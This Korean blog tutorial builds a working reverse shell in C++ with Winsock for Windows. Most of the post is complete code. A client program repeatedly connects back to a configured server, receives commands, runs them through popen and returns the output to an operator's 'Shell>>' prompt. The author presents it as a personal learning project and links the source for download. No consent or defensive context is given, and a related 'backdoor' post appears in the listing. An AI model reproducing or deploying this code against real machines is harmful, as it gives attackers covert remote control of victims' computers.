🧼C, C++/네트워크
리버스 쉘 Reverse Shell C++
최신글
https://mawile.tistory.com/219
시작하기앞서서 사용한 운영체제는 Windows10이며,
사용한 IDE는 DevCpp이고, 사용한 언어는 C++11입니다.
안녕하세요~~~
이번에는 소켓을 이용한 리버스 쉘을 만들어보겠습니다!
[[[ 리버스 쉘이란? ]]]
쉽게말해서 서버측에서 클라이언트측에 속하는 PC의
cmd(명령 프롬프트)를 자유자제로 쓸수있는겁니다.
[[[ 참고자료 ]]]
popen함수
소켓 기본틀
소켓 기본틀은 저가 위에 첨부해논 두번째참고자료의 틀을 그대로쓸겁니다!
[[[ 기본틀(서버) ]]]
#include <iostream>
#include <winsock2.h>
using namespace std;
int PORT = 4444;
#define PACKET_SIZE 1024
int main(){
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(skt, (SOCKADDR*)&addr,sizeof(addr));
listen(skt,SOMAXCONN);
SOCKADDR_IN client = {};
int client_size = sizeof(client);
ZeroMemory(&client,client_size);
SOCKET client_sock = accept(skt,(SOCKADDR*)&client,&client_size);
closesocket(client_sock);
closesocket(skt);
WSACleanup();
}
[[[ 기본틀(클라이언트) ]]]
#include <iostream>
#include <winsock2.h>
using namespace std;
int PORT = 4444;
#define PACKET_SIZE 1024
string SERVER_IP="127.0.0.1";
int main(){
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr = {};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(SERVER_IP.c_str());
while(1)
if(!connect(skt, (SOCKADDR*)&addr,sizeof(addr))) break;
closesocket(skt);
WSACleanup();
}
[[[ 리버스쉘(서버) ]]]
string str;
char buf[PACKET_SIZE],rev[10000];
char titleset[100];
sprintf(titleset, "클라이언트접속: %s", inet_ntoa(client.sin_addr));
//클라이언트 접속감지용
SetConsoleTitle(titleset);
while(1){
ZeroMemory(buf,PACKET_SIZE); //메모리비우기
ZeroMemory(rev,10000); //메모리비우기
cout << "Shell>>";
getline(cin,str);
//cin>>으로안하는이유: 띄어쓰기를 포함하기위함
for(int i=0;i<str.size();i++) buf[i] = str[i];
//string -> char[]로 변환
send(client_sock,buf,sizeof(buf),0); //명령어 전송
recv(client_sock,rev,10000,0); //명령어결과물 받기
cout << rev << endl; //출력
}
[[[ 리버스쉘(클라이언트) ]]]
char buff[PACKET_SIZE] = {0},rev[10000] = {0};
cout << "서버에 접속함(IP >> " << inet_ntoa(addr.sin_addr) << ")" << endl;
//서버접속 감지용
while(!WSAGetLastError()){
system("cls");
ZeroMemory(buff,PACKET_SIZE); //메모리비우기
ZeroMemory(rev,10000); //메모리비우기
recv(skt,buff,PACKET_SIZE,0); //실행할 명령어받기
FILE *fp = popen(buff, "r"); //popen()함수로 명령어 출력결과를 읽기
while(fgets(buff, PACKET_SIZE, fp) != NULL) strcat(rev,buff);
//fp의 내용을 한줄한줄 끝날때까지 읽어와 buff의내용에 한줄한줄저장하면서 rev에 추가
pclose(fp);
send(skt,rev,sizeof(rev),0); //명령어 결과물 전송 (킹조건 sizeof()로해야합니다)
}
생각보다 단순하죠?
저도 예전부터 리버스쉘을 구현하고싶었는데
다른방식으로 구현하는방법도있지만 저는 이 방법이 저가 직접 만들어낸 방법이기도하고
저가 마스터(?)한 방법이기때문에 앞으로도 이방법만 쭉쓸겁니다!
파일은 깃허브로 밑에다가 첨부해놓겠습니다
감사합니다!
다운로드
'🧼C, C++ > 네트워크' 카테고리의 다른 글
소켓 파일전송 C++ #1 (0) | 2020.10.06 |
---|---|
소켓 기본 틀 #1 (0) | 2020.10.05 |
실시간 채팅 프로그램 C++ TCP (6) | 2020.10.01 |
백도어 만들기 C++ TCP (0) | 2020.09.26 |
소켓 데이터 C++ TCP (0) | 2020.09.24 |
댓글